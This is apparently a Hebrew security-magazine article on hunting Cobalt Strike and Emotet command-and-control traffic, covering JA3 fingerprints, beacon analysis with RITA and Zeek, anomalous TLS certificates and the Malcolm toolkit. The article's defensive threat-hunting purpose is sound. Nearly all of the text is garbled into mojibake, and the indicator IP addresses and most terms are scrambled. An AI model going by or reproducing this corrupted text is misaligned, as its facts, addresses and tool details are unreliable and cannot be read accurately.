˸˶ˤ˰˟  ǘǎƘŀǊƪ  ˶˦˪˲ˮ  ˸˞  ˦˪˲ˢ  ˨˩  ˠ˧˴˧˷  ˸˞  ˱˯ˣ˞  πsCƛƴƎŜǊǇǊƛƴǘǎ  ˫˧˧ˡˣ˥˧ˢ  ύ˪˪ˣ˩   ˸ ˣˬ˩  ˫˧˰˲ˣˬˢ  ˫ˢ˪˷ ό Σ  

˸˞ˣ ˸˟ˣ˸˩ ˡ˰˧ˢ  ˸˶ˣ˷˵˸˪  ύ˨ˣ˸ˬ ˢ˥ˮˢ ˢ˵ˤˣˮ˷ ˢ˴˶˸   ˶ ˷˵˸˪ ˫˰ sπ/н  ˢ˪˷Υό  

˸˞ ˸ˣ˟ˣ˸˩ˢ  ˭ ˸˧ˮ ˵ˣˡ˟˪  ˟˶ˣ˵ˬ  ˞ ˟ˢ ˪πLƻ/  ˸˞ˣ  ˸ ˣˬ˧˸˥ sπW!о ˟˶ˣ˵ˬ ˞˟ˢ Φ 

 

 

˪˪ˠ˟ ˷ πW!о  x ˮ˧˞ ˵ˤ˥ˣ˸ˬ ˳˧˪ˬ˞ ˷˲˥˪  ˸˞ sπCƛƴƎŜǊǇǊƛƴǘǎ ˟π±¢ ύ±ƛǊǳǎ¢ƻǘŀƭ  ό ˪ ˰ ˸ˮˬ ˷˲˥˪ ˸ˣˬ˞˸ˢ Φ 

 

мофΦслΦмслΦу ύǾŜǊƻŦŜǎΦŎƻƳ ό- ˰ˣˡ˧ ˩πLƻ/Υ ύˢˬ˧˸˥ˢ ˣ˪˷  ˸˴˲ˣ˵ ˟π±¢ ό 

 

 

тлΦосΦмлнΦор -  ˰ˣˡ˧ ˩πLƻ/ Υ 

 

 

 

http://www.digitalwhisper.co.il/
https://threatfox.abuse.ch/browse.php
https://sslbl.abuse.ch/ja3-fingerprints/
https://www.virustotal.com/gui/file/9fd30bda0edf3b10b326703303fa15995a688d200582822ef49422ebac87b7f7/behavior
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мппΦнлнΦпфΦмуф -  ˰ˣˡ˧ ˩πLƻ/Υ  

 

 

˸ˣ˟ˣ˸˩ˢ  ˫˰  ˸ˣ˥˧˩˷ˢ  ˢ˩ˣˬˮˢ  ˞˪  ˸ˣ˞˶ˮ  ˣˬ˩  Lƻ/  ˧˲˪  !ōǳǎŜΦŎƘ  ˸ˬ˧˸˥ˣ  πsW!о  ˸˩˧ˣ˷ˬˢ  ˫ˢ˪  ˞˪   s ˞˴ˬˮ  

˸˧ˮˣˡˤ˩ Φ 

¶  s ˣˣ˷   ˫ ˧˷˪  ˟˪   ˪ ˪ˠ˟˷  ˯ˬ  ϥ˟˶   ˪ ˷  ˸ˣ˶ˣ˷˵˸  ˭˧˟   s ˡˬ˰  ˢ˰ˣˠˮ  ˧˸˶˷˪  πsC2  ˢ˪˷  Σ˥˧˩˷  ˢ˞˶ˮ˷   ˸ ˣˬ˩  

ˢˢˣ˟ˠ  ˪˷  ˫˧˰˲ˣˬ  ˪˷  ˸ˣˬ˧˸˥  JA3  ˸ˣ˧ˮˣˡˤ  ˸ˣ˟ˣ˸˩˪  C2  Σˢˤˣ  ˯˥˧˟  ˶˞˷˪  ˸ˣˬ˧˸˥ˢ  ˪ˣˬ  ˸ˣ˟ˣ˸˩   ˟ ˣ˶˪˷  

ˢ˧ˢ˧  ˭ˢ˪  ˯ˬ  ϥ˨ˣˬˮ  ˪˷   ˫ ˧˰˲ˣˬ  Φ˸˰˩  ˣˮ˞  ˫˧˪ˣ˩˧  ˵˧˯ˢ˪  ˧˩  ˶˵˧˰  ˸˶ˣ˷˵˸ˢ  ˞˧ˢ  ˪˞  ˸ˣ˟ˣ˸˩  ˸ˣ˧ˮˣˡˤ  π˟TLS Φ 

¶ ˫˧˷ˮ  ˟˪  ˧˩  ˢ˶˧˵˥   x ˤ  ˢ˯˯˟˸˧ˢ  ˪˰   ˷ ˣ˲˧˥  IoC   ύ(JA3/IP   ˶ ˷˞   ˫ ˧˞˴ˬˮ   ˸ ˣˬ˧˷˶˟  ˸ˣ˶ˣ˥˷   ˟ ˵˰   ˭ ˩ˣ˧˷  

˷ˣˬ˧˷˪  Ϧ˰ ˧ ˸ˣ˴ˣ˟˵ ˢ˲˧˵˸ξ˸ˣ˵ˤˣˮ Φ 

 ˵ ˶˲˟   ˞ ˟ˢ   ɣ ˧˴˞  ˡ˴˧˩  ˪˩ˣˮ   ˶ ˣ˵˥˪  ˸˞   ˸ ˣˠˢˮ˸ˢˢ   ˸ ˧ˮˣˡˤˢ  ύ¢¢t  ό˫˞˸ˢ˟ˣ   ˸ ˣ˩˥˸ˢ˪  ˶˥˞   ˸ ˣˬ˧˸˥  πsW!о  

˸ˣ˧ˮˣˡˤˢ Φ 

 

˥ˣ˸˧ˮ sπt/!t ˫˧˪˩˟   ˫ ˧˧˯˧˯˟ 

˰˴˟ˮ ˯ˬ ϥ˸ˣ˪ˣ˰˲   ˸ ˣ˧ˮˣ˷˞˶ ˪˰ ˸ˮˬ ˪˟˵˪  ˰ ˡ˧ˬ ˧˪˪˩  ˪˰ s πt/!t Υ 

˭ˢ˧ˬ ˸ˣ˷˵˟ sπ5b{ Κ 

 

 

ˣ˪˧˞ ˸ˣ˟ˣ˸˩ ˸ˣ˶˷˵˸ˬ  π˟t/!t Κ 

 

 

˸˟ˣ˸˩ˢ моуΦмфтΦфлΦмру ˢˣˣˢˬ  ˫ ˠ ˸˶ˣ˷˵˸ ˪ˣˬ /н  - ˶˥˞˪  ˸ ˵˧ˡ˟ Lƻ/ Φ 

¶ ˭ˣ˶˯˥ ˢˡˣ˟˰˪ ˟ πWireshark  π  ˞ ˪ ˢ˸ˢˣˤ  ˰Ϧ˧  Wireshark ˸˶ˣ˷˵˸ TLS  ύ˭˩˪  ˞˪ ˟˷ˣ˥ ˢ˶ˣ˟˰  ˨ ˶˰ JA3 Φό 

http://www.digitalwhisper.co.il/


 
 

μW!όпҌύ Lǎ hƴŜό  ύ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  нм 
 

¶ ˟˵˰ˬ˟ ˶˥˞ ˸˶ˣ˷˵˸ sπTCP  ˭˸˧ˮ ˸ˣ˞˶˪ ˸˶˟˰ˢ ˢˡˣ˰˸ ˢ˥˧˷ˣ ˸ˮ˲˴ˣˬ Φ 

˭˞˩ˬ  ˭ ˸˧ˮ  ˵ ˧˯ˢ˪ ˧˩ ˢ˰˴˟˸ˢ  ˸˶ˣ˷˵˸ ¢[{ ˪ˣˬ  ˸˶˷ sπ/нΦ  

 

˭˥˟ˮ  ˸ ˞ ˧˩˶ˣ˞ ˸ˣ˥˧˷ˢ  ˧˪ˡˠˣ  ˰ˡ˧ˬˢ  ˶˟˰˷  ˭ ˢ˟ π ˡ˵ˬ˸ˮ ˸ˣ˟ˣ˸˩˟ ˸ˣˡˣ˷˥ˢ  x ˮ˪˷Υ 

мофΦслΦмслΦу   π  ˶˦˪˲ˮ  π˟²ƛǊŜǎƘŀǊƪ  ˧˲˪  ˸˟ˣ˸˩   l ˰˧ˢ  ˣˤˢ   ˪ ˰  ˸ˮˬ  ˭ˣ˥˟˪  ˸˞  ˢ˶ˣ˟˰˸ˢ   s ˰˧ˠˬˢ   ˸ ˶˷˪  

ˮˢϦ˪ : 

 

 

˟ˣ˶  ˰ ˡ˧ˬˢ ˶˟ˣ˰  π˟¢[{ Υ 

 

 

¶ ˸ˣˬ˩ ˪ˡˣˠˣ ˰ˡ˧ˬˢ ˶˟ˣ˰˷  ˞ ˣˢ  ˰ ˣ˟˵ 

¶ ˸˶ˣ˷˵˸ˢ ˸˶ˤˣ˥ ˪˩ мм  ˸ˣ˧ˮ˷ 

¶  ˧ ˩˶ˣ˞ ˸ˣ˥˧˷ˢ ˫ˢ ˩πннΦмϤннΦп   

¶ ˰ˡ˧ˬˢ  ˶˟ˣ˰ ˢ˶ˣ˴˟ ˡ˥  ˸ ˧ˡˡ˴  ˪ ˞ мофΦслΦмслΦу ˢˡˬ˰ˢˬ   s ˰ˣˠˮˢ 

˯ˣ˲ˡ ˢ˶ˣ˟˰˸ˢ   ˰ ˣ˟˵ˢ ˧˸˶ˤ˥ˢˣ ˡ˧˰ˬ  ˪˰  ˨˧˪ˢ˸ .ŜŀŎƻƴύ Φ˶ˣ˵ˬ ό 

http://www.digitalwhisper.co.il/
https://www.activecountermeasures.com/blog-beacon-analysis-the-key-to-cyber-threat-hunting/


 
 

μW!όпҌύ Lǎ hƴŜό  ύ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  нн 
 

тлΦосΦмлнΦор -  ˫ˠ ˭˞˩  ˪ ˩ˣˮ ˸ˣ˞˶˪ ˧˩ ˟ˣ˶ ˰ˡ˧ˬˢ  ˶˟ˣ˰  π˟¢[{ Υ 

 

 

 ˪ ˞   ˸ ˟ˣ˸˩ˢ  тлΦосΦмлнΦор Σ  ˢ˞˶ˮ  ˸˪˧˥˸˟˷  ˢ˥˧˷ˢ   ˫ ˢ˧ˮ˧˟   x ˪˧˥˸ˢ   ˟πмм   ˸ ˣ˦˵˞˲  ˨˷ˬˢ˟ˣ   ˶ ˟˰  ˶˸ˣ˧  ˰ˡ˧ˬ   

- ˢ˶ˣ˴˟ ˡ˥ ˸˧ˡˡ˴  ˫ˠ ˭˩ Φ 

 

моуΦмфтΦфлΦмру -  ˫ˠ  ˢ˟  ˟ ˣ˶  ˰ ˡ˧ˬˢ ˶˟˰ ˟π¢[{  

˥ˣ˸˧ˮˬ ˰ˡ˧ˬˢ ˭˸˧ˮ  ˵˧˯ˢ˪ ˧˩  ˸˧˟˶ˬ  ˰ ˡ˧ˬˢ ˶˟˰ ˞˵ˣˣˡ  ˸˶ˣ˷˵˸˟   ˸ ˶˷˪ ˮˢϦ˪Φ   

 

.ŜŀŎƻƴ !ƴŀƭȅǎƛǎ 

˧˪˩  ˶˷˲˞ˬ˷   ˥ ˸ˮ˪  ˸ˣ˶˧˟˯   ˸ ˶ˣ˷˵˸˪  .ŜŀŎƻƴƛƴƎ  ΦwL¢!  ύwŜŀƭ LƴǘŜƭƭƛƎŜƴŎŜ ¢ƘǊŜŀǘ !ƴŀƭȅǘƛŎǎ  ό x ˮ˧ˢ   ˧ ˪˩  

˶˷˲˞ˬˢ ˧ˣˢ˧ˤ  ˪˷ ˸˶ˣ˷˵˸  ˪˞ /н ˪˰   ˧ ˟ˠ ˸˶ˣ˟˰˸  ˸˷˶ Φ 

˧˪˩ˢ ˢ˷ˣ˰  ˷ ˣˬ˧˷  ˰ ˡ˧ˬ˟ ˵˲ˣˬˢ ˪˰  t/!tΣ ˰ˣˮˬˬ s π½ŜŜƪ   - ½ŜŜƪ [ƻƎǎ  ˸ˣ˧˪ˬˣˮ˞ˣ ˸ˣ˲˯ˣˮ Φ 

˫˧˞˴ˬˬ  ˫˧˧˶˵˧˰ ˧˪˩ˢ˷  ˞ ˧˟ˬΥ ύ˶ˣ˵ˬ ό 

 

http://www.digitalwhisper.co.il/
https://github.com/activecm/rita
https://www.activecountermeasures.com/free-tools/rita/
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˞˪  ˠ˧˴˞  ˸ ˞ ˭˲ˣ˞ ˢˡˣ˟˰ˢ  ˫˰  ½ŜŜƪ ˫˧˪˩˟  ˫˧˧ˮˡ˧ ύˢ˴˶ˢ   ˟π/[L Φό 

˫˷˪ ˶ˬ˞ˬˢ ˧˸ˬ˵ˢ ˣ˸ˣ˞  ˸ˣ˰˴ˬ˞˟  5ƻŎƪŜǊ -  ½ŜŜƪ ŘƻŎƪŜǊ ƛƳŀƎŜǎ Φ 

 ˟ ˣ˷˥   x ˮ˪   ˭ ˧˟ˢ˪   ˪ ˰  ½ŜŜƪ  ˢˤ   ˞ ˣˢ˷  ˥˸ˮˬ  aŜǘŀŘŀǘŀ  ˧˥˶˩ˢ˷   ˸ ˶˧˵˥˪  ˸˶ˣ˟˰˸   ˸ ˷˶   -  ˸ˣ˶ˣ˷˵˸  ΣƘǘǘǇ  Σ

˸ˣˡˣ˰˸  ΣaŀƭƛŎƛƻǳǎ tŀȅƭƻŀŘǎ ˣ˩ˣ Φϥ ˱ ˣ˯˟˪ Σˠ˧˴ˬ  ˸ ˞ ˥ˣ˸˧ˮˢ   x ˪˷ ˟π¦L Φ 

¶ ˧˪˩ˢ ˢˢ˧ˤ  н ˧˶ˣˤ˥ˬ Beacon  - ˧ˣˢ˧ˤ   ˪ ˷ н   ˸ ˣ˧ˮ˟˸ ˸ˣˬ˞ˣ˸  ˫˧ˮˬˤ˟ ˫˧ˮˣ˷ Φ 

¶ ˢ˯Ϧ˩ от ˫˧˶ˣ˟˧˥  ύ˸˧˯˥˧ ˢ˟˶ˢ ό˫˧˶˧˟˰ˬ˷  ˰ ˡ˧ˬ ύ˸˧˯˥˧  ˸˴˵ Φό 

¶ ˫˧˶˥˞˟ ˶˟˰   ˸ ˣ˥˲˪ 350KiB Φ 

 ˧ ˸˶˥˟ ˳˧˶ˢ˪ ˣ˸ˣ˞ ˸ˣ˰˴ˬ˞˟  ŎƻƳǇƻǎŜπ5ƻŎƪŜǊ ˪˰ ˸ˮˬ ˪˵ˢ˪   ˪ ˰ ˨˧˪ˢ ˢˮ˵˸ˢˢΦ   

 

 

˭˸˧ˮ  ˸ˣ˞˶˪   ˧ ˩   ˧ ˪˩ˢ   ˷ ˧ˠˡˢ  ˸˞  πs5ƻƳŀƛƴ  ˨˧ˣ˷ˬˢ  ˸˟ˣ˸˩˪   ˸ ˧ˮˣˡˤˢ  ˣˮ˧ˢ˧ˤ˷  ˨˧˪ˢ˟   sπW!о  -   ˶ ˟ˡ   l ˧˰ˬˢ  

˵ˣ˧ˡ˟   ˪ ˷ снΦр҈ ˧˩  ˸ˬ˧˧˵ ˟ πt/!t ˢ˶ˣ˟˰˸ .ŜŀŎƻƴƛƴƎ ˸˶˷˪ /н Φ 

˭˩ˣˬ˩  Σ˶˞˷  ˸ˣ˟ˣ˸˩ˢ  ˸ˣ˲˯ˣˮˢ  ˭˩˞  ˸ˣ˩˧˧ˣ˷ˬ  π˪Lƻ/Σ  ˨˞  ˸ˣ˞ˡˣˣˢ  ˫ˢ˧˧˟ˠ˪  ˸˶ˤ˰˟  ˥ˣ˸˧ˮ   ˧ ˦˯˧˦˦˯  ˞˪   s ˧ˢ  

˵˲˯ˬ  -  ˭ ˣ˶˯˥ ˥ˣ˸˧ˮ˪   ˞ ˪˷ ˯˯˟˸ˬ   ˪ ˰ W!о CƛƴƎŜǊǇǊƛƴǘΦ  

 

/ŜǊǘƛŦƛŎŀǘŜ !ƴƻƳŀƭȅ 

˫ˣ˧˩  ˫˧˰ˣˡ˧  ˫˧˶˵ˬ  ˫ˢ˟  ˫˧˲˵ˣ˸   ˫ ˧˷ˣ˰   ˷ ˣˬ˧˷   ˸ ˣˡˣ˰˸˟   ˸ ˣ˟ˣˮˠξ ˸ ˣ˧ˣˮ˵   ύϦ˰ ˲  aL¢w9  Φό˸ˣˬ˧˧˵  ˯ˬ  ϥ ˫ ˧˩˶ˡ  

 ˸ ˠ˷ˢ˪ ˢˡˣ˰˸  Ϧ ˸ ˧ˬ˧˦˧ˠ˪ύ Ϧ ˶ ˣ˵ˬ Υό 

1Φ ˷ˬ˸˷ˢ˪  ˧˸ˣ˶˧˷˟ CA  ύCertificate Authority ό˫˧˧ˬˮ˧˥  ύ˪˷ˬ˪  [ŜǘΩǎ 9ƴŎǊȅǇǘ Φό 

aΦ CA  ˞ˣˢ  ˱ˣˠ  ˶˩ˣˬ  ˭ˣˬ˞ˢ  ˪˰  ˢˬ˧˸˥  ˪˷  ˸ˣˡˣ˰˸  ˸ˣ˧˪˦˧ˠ˧ˡ  Φˣ˸ˣ˰˴ˬ˞˟  ˭˸˧ˮ  ˸ˬ˞˪   ˸ ˣˡˣ˰˸  

˸ˣ˧˪˦˧ˠ˧ˡ  ˧˸ˣ˶˧˷˪ ˸˷˶ ˫˧ˮˣ˷ ˢ˶˦ˬ˟ ˶ˬ˷˪  ˢ˷˧˪ˠ Ϧ˸˥˦˟ˣ˞ˬ ΦϦ 

2Φ  ˸ ˶˧˴˧  ˢˡˣ˰˸  ˢˬˣ˸˥π˸˧˞ˬ˴˰  ύSelf-signed  Σόˢˡˣ˰˸   ˶ ˷˞   ˞ ˪  ˢˬˣ˸˥   ˰Ϧ ˧ CA  Φ s ˦˧˷  ˡ˟˷Ϧ˩   ˸ ˷ˬˣ˷ˬ  

 ˸ ˣ˩˶˰ˬ˟ ˣˬ˩ Cobalt Strike  ˣ˞ ˫˧˪˩  ˫˧ˮˣ˷   ˪ ˷ ˫˧˸ˣˣ˴  ˫˧ˬˣˡ˞Φ 

3Φ ˸ˣˤ˥˸ˢ˪  ˭ˣˠ˶˞˪ ˱˧ˣˤˬ ˸ˣˮ˵˪ˣ ˢˡˣ˰˸ ˬπCA ˭˧ˬ˞ Φ 

 

 

http://www.digitalwhisper.co.il/
https://hub.docker.com/r/zeek/zeek
https://github.com/activecm/rita/blob/main/docker-compose.prod.yml
https://attack.mitre.org/techniques/T1588/004/
https://www.nccgroup.com/us/research-blog/encryption-does-not-equal-invisibility-detecting-anomalous-tls-certificates-with-the-half-space-trees-algorithm/
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ˢ˶˵ˬ˟  ˪˷ wȅǳƪ wŀƴǎƻƳǿŀǊŜ ˢ˧ˢ  ˷ˣˬ˧˷ ˢ˦˧˷˟  s ˷ˣ˰ˢ ˷ˣˬ˧˷ ˢˡˣ˰˸˟ Ϧˢˮ˧ˬ˞ ΦϦ 

˧˦˶˲ sπ/! ύsπLǎǎǳŜǊ bŀƳŜ  ό˫˧˪ˣ˩˧ ˸ˣ˞˶˧ˢ˪  ˨ ˩Υ  

 

 

¶ ˢˡ˷ˢ O  ύOrganization ό s ˧ˢ Ϧlol Ϧˢˡ˷ˢˣ OU  ύOrganization Unit ό˶˸ˣˮ  ˵˧˶Φ 

 

ˢˮ˧ˢ ˢˬˠˣˡ  ˢˡˣ˰˸˪  ˸˧ˬ˧˦˧ˠ˪  ˪ ˷ ŦƻȄπƛǘΦŎƻƳΥ  

 

 

ˡˣ˴ˮ ˸ˣˡˣ˰˸ ˸ˣˡˣ˷˥ ˢ˶˵ˬ˟  ˣˮ˪˷ Υ 

˸˷˧ˠ˟  πs.ƭŀŎƪƭƛǎǘ  π  ˶ˠ˞ˬ  πs.ƭŀŎƪƭƛǎǘ  ˪˷  ¢ƘǊŜŀǘǾƛŜǿΦƛƻ  ˣˮ˧ˢ  ˶ˠ˞ˬ  ˶˷˲˞ˬˢ  ˣˮ˪  ˸ˣˢˤ˪  ˸ˣ˶˧˟˯˟   s ˢˣ˟ˠ 

˸ˣˡˣ˰˸ ˸ˣ˩˧ˣ˷ˬˢ   ˪π5ƻƳŀƛƴǎ  ˫ ˧˰ˣˡ˧ˢ ˩π/ƻōŀƭǘ{ǘǊƛƪŜ /н Φ 

˦˪˲ˢ ˞˟ˢ ˠ˧˴ˬ  ˣˮ˪ ˸ˣˬ˞˸ˢ  ˪˰  ˱˯ˣ˞ sπ5ƻƳŀƛƴǎ ˣ˰˧˲ˣˢ˷ ˨ˣ˸˟   ɣ ˣ˪ sπȄрлфΦƭƻƎ ˪˷  ½ŜŜƪ ˶ˠ˞ˬ˟ˣ Υ 

 

 

·рлфΦƭƻƎ  ˪ ˧˩ˬ  l ˣ˰˧˸ ˪˰ ˸ˣˡ˷ ˸ˣˡˣ˰˸ˢ  π˷½ŜŜƪ ˢˢ˧ˤ ˸˶ˣ˟˰˸˟ ˸˷˶ˢ Φ 

˪˩ˣˮ  ˸ ˣ˞˶˪ ˧˩   ˸ ˬ˧˧˵ ˢˡˣ˰˸ ˸˲˯ˣˮ ˸˶ˣ˟˰˸˟ ˸˷˶ˢ ˢˠ˧˴ˬˢ 5ƻƳŀƛƴ ˧ˮˣˡˤ  ύLƻ/ ό˶˷˞  ˞˪  x ˮ˧ˢ˧ˤ  ˫ ˡˣ˵ Υ 

 

 

˞˪ ˣˮ˯˲˯˲  ˸˞ ˸˟ˣ˸˩ sπLtΣ  ˨˞  ˞˪   x ˮ˧˞˶ ˸˞ ˸˟ˣ˸˩ s π5ƻƳŀƛƴ ˸˲˯ˣˮˢ ˸ˣ˷˵˟˟ sπ5b{Φ 

http://www.digitalwhisper.co.il/
https://www.gdatasoftware.com/blog/2019/08/35046-whats-all-the-buzz-about-looking-at-the-ryuk-ransomware-as-an-example
https://threatview.io/Downloads/High-Confidence-CobaltStrike-C2%20-Feeds.txt
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W!о [ŜŀŘ 

˭˥˟ˮ  ˸ ˞ ˢˡˣ˰˸ˢ ˪˷ sπLƻ/  ˢˢˣˤ˷ ˩π5ǊƛŘŜȄ Υ 

 

 

˫ˮˬ˞  ˟ ˣ˶ ˰ˡ˧ˬˢ ˢ˞˶ˮ  Ϧ ˭ ˧ˬ˞ Ϧ ˨ ˞ ˢˡ˷ˢ /ƻƳƳƻƴbŀƳŜ  ˞˪ύ ΦΦΦ9ȄŀƳǇƭŜΦŎƻƳ Φό 

˶ˣ˟˰˟ˣ s π5ƻƳŀƛƴ  ˣˮ˶˩ˢ˷ ˸˞ ˸˟ˣ˸˩ˢ  x ˪˷  ˸ ˧ˮˣˡˤ˩  Υ 

 

 

 ˵ ˶˲˟ ˢˤ ˣˮˡˬ˪ ˨˧˞  ˸˷ˠ˪   ˸ ˶˧˵˥˪ PCAP   ˶ ˷˞  x ˟ˣ˶˟ ˟˩˶ˣˬ ˸˶ˣ˟˰˸ˬ  TLS  -  ˸˞ˤˣ  ˫˧˪˩˟ ˫˧˯˧˯˟ Φ 

¶ ˣˮ˶˩ˢ  ˸˞  ˫˸˧˶ˣˠ˪˞   ˸ ˬ˧˸˥  JA3/S  ˢ˶ˣ˟˰˸˪  ˸ˮ˲˴ˣˬ  Φˣ˸ˣ˰˴ˬ˞˟  ˣˮ˧ˢ˧ˤ  ˢ˶ˣ˟˰˸  ˸˧ˮˣˡˤ   ˰Ϧ ˧ ˨ˣ˧˷  

˸ˣˬ˧˸˥ JA3 ˪πIoC  - ˶˟ˡ  l ˧˰ˬˢ ˪˰ ˸ˣ˪˧˰˲ ˸˧ˮˣˡˤ Φ 

¶ ˣˮ˶˩ˢ ˸˞  ˭ ˣ˶˯˥ˢ ˧˶˵˧˰ˢ ˪˷  JA3 - JA3 Impasonating Φ 

¶ ˣˮ˥˸˧ˮ ˸˞ s πPCAP  ˸ ˣ˰˴ˬ˞˟ Tshark/Wireshark Υ 

o ˣˮˡˬ˪  ˸ˣˢˤ˪   ˯ ˣ˲ˡ ˪˷ BeaconΦ 

o RITA - ˣˮ˧ˢ˧ˤ  ˸ ˣ˟ˣ˸˩ IP  ˸ˣ˪˰˟ ˪˞˧˴ˮ˦ˣ˲   ˸ ˶ˣ˷˵˸˪ BeaconΦ 

o ˣˮ˥˸˧ˮ ˸˞ ˸ˣˡˣ˰˸ˢ  π˟PCAP  ˶˷˞ ˣˡ˧˰ˢ  ˪˰  ˢ˧˪ˬˣˮ˞ ˸˧ˮˣˡˤΦ 

o ˣˮ˧˞˶ ˡ˴˧˩ ˭˸˧ˮ  ˷˲˥˪  Domains ˫˧˪ˬˣˮ˞  ˰ ˡ˧ˬ˟ ˪˷  s ˡˣ˰˸Φ 

˸ˣ˰˴ˬ˞˟ ˢ˧ˠˣ˪ˣˡˣ˸ˬˢ ˮˢϦ˪  ˣˮ˥˪˴ˢ  ˡ˧˷˥ˢ˪  ˸ ˞ ˪˪˩ sπLƻ/ ˫˧˶˩ˣˬˢ  π˟t/!t Φ 

˵˶˲˟ ˞˟ˢ  ˠ˧˴˞  ˸ ˞ ˭˲ˣ˞ ˷ˣˬ˧˷ˢ ˟ πaŀƭŎƻƭƳ  ˪˰ ˸ˮˬ ˰˴˟˪ ˨˧˪ˢ  ˢˬˣˡ ˫˧˪˩˟ ˫˧ˬˡ˵˸ˬΦ 

 

 

http://www.digitalwhisper.co.il/
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˯˧˯˟ - Hands-On Malcolm ύEMOTET Mail Spamό 

˥ˣ˸˧ˮ t/!t ˫˧˪˩˟ ˫˧ˬˡ˵˸ˬ ύˢˬˠˣˡ ˪˰ 9ah¢9¢ aŀƛƭǎǇŀƳ !ŎǘƛǾƛǘȅό 

 ˸˰˩ˠ˧˴˞ ˯ˬ ϥ˫˧˩˶ˡ   s ˪˪˲ˢ˪ ˪˷  ˸ ˣ˟ˣ˸˩ Lt  ˫ ˞˸ˢ˟ ˫˧˞˴ˬˬ˪   ˪ ˷aŀƭŎƻƭƳ  ύ˧˪˟ˬ  ˟˶˰˪ ˡˣ˰ W!п Φό 

 ˭ ˲ˣ˞  ˢˬ˵ˢˢ  ˪˷  ˸˩˶˰ˬˢ   ˯ ˯˟˸ˢ  ŘƻŎƪŜǊπŎƻƳǇƻǎŜ  Φ˫˩˧˪˰   l ˧˶ˣˢ˪   ˸ ˞  πsƎƛǘπǊŜǇƻ  ˳˧˶ˢ˪ˣ   ˸ ˞  ŘƻŎƪŜǊπ

ŎƻƳǇƻǎŜΦȅƳƭΦ  ˶ˣ˵˥˞  ˸˞ s πt/!t  ˸ ˣ˰˴ˬ˞˟  ˵ ˷ˬˬ ˢ˶˧˵˥ˢ  ˪ ˷ aŀƭŎƻƭƳΦ 

 

˵˷ˬˬ ˢ˶˧˵˥ˢ  ˶ ˡ˯ˬ ˣˮ˶ˣ˟˰  ˸˞ ˪˩  ˰ ˡ˧ˬˢ ˵˲ˣˬ˷ ˫˧˰ˣˮˬˢˬ ˷ πaŀƭŎƻƭƳ ˳˧˶ˬ Φ 

˫˧˵˪˥˟  ˫˧˞˟ˢ  ˢ˞˶ˮ  ˡ˴˧˩  ˪˩ˣˮ  ˫ˡ˵˸ˢ˪  ˢ˞˶˸ˢˬ  ˪˷  ˰ˣˮˬ,  ˪˞  ˪˩  ˰ˡ˧ˬˢ  ˧˸ˣ˰ˬ˷ˬˢ  ˣˮ˶ˣ˟˰   ˸ ˪˪˲ˢ˪  

˸˟ˣ˸˩ Lt  Φ˱˯ˣˮ˟ Σ s ˯ˮ˞  ɣ ˧˴ˢˢ˪ ˢˬ˩  ˶ ˸ˣ˧˷ ˢˬπ5ŀǎƘōƻŀǊŘ ˷ πaŀƭŎƻƭƳ  ˷ ˧ˠˮˬ  ˣˮ˪  ˨˶ˣ˴˪ ˸˶˧˵˥   s ˧˪ˬˣˮ˞  

˸˶ˣ˟˰˸˟  ˸˷˶ Φ 

˫˧˰ˣˮˬˢ ˷ πaŀƭŎƻƭƳ ˳˧˶ˬ   ˶ ˣ˞˧˸ˣ ˶˴˵  ˫ˢ˧˪˰ Υ 

¶ Zeek  - ˳˧˶ˬ  x ˮ˶ˣ˟˰ Network Analysis  ˶ ˴˧˧ˬˣ ˰ˡ˧ˬ ˧˦ˮˣˣ˪˶  ˢ˶˧˵˥˪ ξˡ˧˴ Φ 

¶ Suricata   -  ˰ˣˮˬ  Intrusion Detection SystemύIDS  όˢˢˤˬˢ   ˸ ˣˬ˧˸˥  ˸ˣ˧˪ˬˣˮ˞ˣ   ˸ ˶ˣ˟˰˸˟  ˸˷˶ύ Φ ˶ ˣ˵ˬ ό 

¶ Arkime   -  ˵˷ˬˬ  ˠ˧˴ˬˢ  ˸˞  ˪˪˩   ˰ ˡ˧ˬˢ  ˰˧ˠˬˢ  ˫˧˰ˣˮˬˢˬ  ˪˪˩˸ˬˣ  ˸˞  πsSessions  ˫˧ˮˣ˷ˢ  ˢ˶ˣ˴˟   s ˶ˣ˶˟  

˶˸ˣ˧  - sπWireshark  ˪˰ ˫˧ˡ˧˞ˣ˶˦˯ Φ 

¶ Dashboards  -   ˧ ˵˷ˬˬ  ˢ˶˧˵˥  ˫˧˷ˠˮˣˬˢ   ˰Ϧ ˧ Malcolm   ˧ ˡ˩  ˷ˬ˷˪   ˸ ˞   ˶ ˵ˣ˥ˢ  ˢ˶ˣ˴˟   ˸ ˧˟˦˧ˬ   ˧ ˣ˴˧ˬ˪  

˸ˣ˞˶˸ˢˢ ˸ˣˮˣ˷ˢ Φ 

˪˧˥˸ˮ  ˸˞ ˢ˶˧˵˥ˢ   ˨ ˶ˡ hǾŜǊǾƛŜǿ 5ŀǎōƻŀǊŘΥ  

 

http://www.digitalwhisper.co.il/
https://github.com/cisagov/Malcolm
https://github.com/cisagov/Malcolm/blob/main/docker-compose.yml
https://github.com/cisagov/Malcolm/blob/main/docker-compose.yml
https://suricata.io/


 
 

μW!όпҌύ Lǎ hƴŜό  ύ       
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  мтс , ˦˯ˣˠˣ˞  нлнр  нт 
 

˭˥˟ˮ  ˸ ˞  ˸ ˣ˞˶˸ˢˢ ˪˷ {ǳǊƛŎŀǘŀ ˰ Ϧ ˧˶˟˰ˬ  π˪5ŀǎƘōƻŀǊŘ  {ǳǊƛŎŀǘŀ !ƭŜǊǘǎ Υ 

˭˸˧ˮ   ˸ ˣ˞˶˪  ˧˩  ˰ˣˮˬˢ  ˵˲˯ˬ  ˣˮ˪  ˢˮ˰ˬ  ˧ˣˢ˧ˤ˪  W!о CƛƴƎŜǊǇǊƛƴǘǎ  ˫˧ˡˣ˷˥  -  ˪˩˩  ˢ˞˶ˮˢ  5ǊƛŘŜȄ  ύ˧˲˩  ˶˟˩˷   x ˮ˧˞˶  

